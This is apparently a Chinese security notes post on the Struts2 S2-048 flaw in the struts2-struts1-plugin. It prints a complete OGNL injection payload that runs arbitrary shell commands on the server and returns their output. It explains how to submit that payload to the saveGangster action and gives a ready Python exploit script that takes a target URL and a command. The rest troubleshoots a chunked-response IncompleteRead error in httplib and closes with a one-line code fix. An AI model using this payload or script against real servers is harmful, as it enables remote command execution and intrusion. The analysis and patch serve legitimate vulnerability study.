问题jar包

struts2-struts1-plugin.jar

漏洞验证

在struts2官方demo中,integration->struts 1 integration,gangster字段输入${1+2}参数,如果存在漏洞,则带入执行,返回3;如果不存在漏洞,则正常返回。

poc利用

struts2官方demo利用poc如下1

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=#parameters.cmd[0]).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

访问gangster页面,抓包提交内容(/integration/saveGangster.action),将name字段值改为上述urlencode(poc),加一个cmd字段,填写shell cmd即可。

漏洞利用脚本

因为POC并不复杂,所以想基于struts2官方demo,利用上述POC做一个自动化的脚本,脚本本身并不复杂,但是执行时出现问题。

自编脚本如下:

import argparse
import requests
import httplib

def exp(url,cmd):
    #httplib.HTTPConnection._http_vsn = 10
    #httplib.HTTPConnection._http_vsn_str = 'HTTP/1.0'
    params={
       "name":"%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=#parameters.cmd[0]).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}",
        'age':'1',
        '__checkbox_bustedBefore':'true',
        'description':'3',
        'cmd':cmd
        }
    return requests.post(url,headers={'Accept-Encoding': 'gzip, deflate'},data=params).text

if __name__=='__main__':
    parser=argparse.ArgumentParser()
    parser.add_argument('url',help='target url')
    parser.add_argument('cmd',help='cmd shell to be executed')
    args=parser.parse_args()
    print exp(args.url,args.cmd)

出现问题如下:

Traceback (most recent call last):
  File "d:\security\mynote\web\java\struts\s2-048\s2-048-poc.py", line 22, in <module>
    print exp('http://192.168.6.141:8080/integration/saveGangster.action','whoami')
  File "d:\security\mynote\web\java\struts\s2-048\s2-048-poc.py", line 15, in exp
    return requests.post(url,headers={'Accept-Encoding': 'gzip, deflate'},data=params).text
  File "D:\Python\Python27\lib\site-packages\requests\api.py", line 109, in post
    return request('post', url, data=data, json=json, **kwargs)
  File "D:\Python\Python27\lib\site-packages\requests\api.py", line 50, in request
    response = session.request(method=method, url=url, **kwargs)
  File "D:\Python\Python27\lib\site-packages\requests\sessions.py", line 465, in request
    resp = self.send(prep, **send_kwargs)
  File "D:\Python\Python27\lib\site-packages\requests\sessions.py", line 605, in send
    r.content
  File "D:\Python\Python27\lib\site-packages\requests\models.py", line 750, in content
    self._content = bytes().join(self.iter_content(CONTENT_CHUNK_SIZE)) or bytes()
  File "D:\Python\Python27\lib\site-packages\requests\models.py", line 673, in generate
    for chunk in self.raw.stream(chunk_size, decode_content=True):
  File "D:\Python\Python27\lib\site-packages\requests\packages\urllib3\response.py", line 303, in stream
    for line in self.read_chunked(amt, decode_content=decode_content):
  File "D:\Python\Python27\lib\site-packages\requests\packages\urllib3\response.py", line 447, in read_chunked
    self._update_chunk_length()
  File "D:\Python\Python27\lib\site-packages\requests\packages\urllib3\response.py", line 401, in _update_chunk_length
    raise httplib.IncompleteRead(line)
IncompleteRead: IncompleteRead(0 bytes read)

问题分析

通过简单的研究,发现该httplib.IncompleteRead和http chunked response有关。[chunked encoding][1,2]是http协议常用参数,表示http服务器响应报文长度不可预测,而使用分块技术传输数据。

通过抓包,发现request是一个正常的post包,而返回的确是一个chunked response,chunked response不会自动被wireshark解析。

s2-048-1

因此,问题可以定位,是requests依赖的httplib对chunked response解析存在问题,而chunked response格式是由服务端决定的。仔细查看chunked response包可以发现,最后并没有一个terminating chunk(30\0d\0a\0d\0a),因此这是一个不正常的chunked response,httplib无法正常解析。

解决办法

解决思路可以分为两种,第一种就是不使用http chunk协议,而使用低版本的http协议;第二种就是针对抛出的异常进行处理。

正如上文分析,引起http chunk incompleteread异常的原因是因为chunked response格式不符合规范,理应通过修正服务端来解决问题,不得已情况下才考虑通过client端处理异常。

http 1.0

http chunk是http 1.1支持的特性,强制使用http 1.0可以避免chunk,方法即上文代码中注释的两行。

针对异常的处理

stackoverflow上给出了一系列针对异常处理的解决办法,这里提出一种对httplib本身的思考。

httplib的问题可定位到如下位置:

    def _update_chunk_length(self):
        # First, we'll figure out length of a chunk and then
        # we'll try to read it from socket.
        if self.chunk_left is not None:
            return
        line = self._fp.fp.readline()
        line = line.split(b';', 1)[0]
        #if line='': line='0'
        try:
            self.chunk_left = int(line, 16)
        except ValueError:
            # Invalid chunked protocol response, abort.
            self.close()
            raise httplib.IncompleteRead(line)

在执行line转换为int类型时,因为没有terminating chunk,所以第二次(terminating chunk轮)line的值为空字符串,类型转换时自然抛出异常。手动转换下,也可以解决该问题。

修复

org.apache.struts2.showcase.intergration.SaveGangsterAction.java

39行,改为

messages.add("msg", new ActionMessage("struts1.gangsterAdded", gform.getName()));
  1. 网上还有其他POC(如freebuf),主体内容基本相似,均可以使用。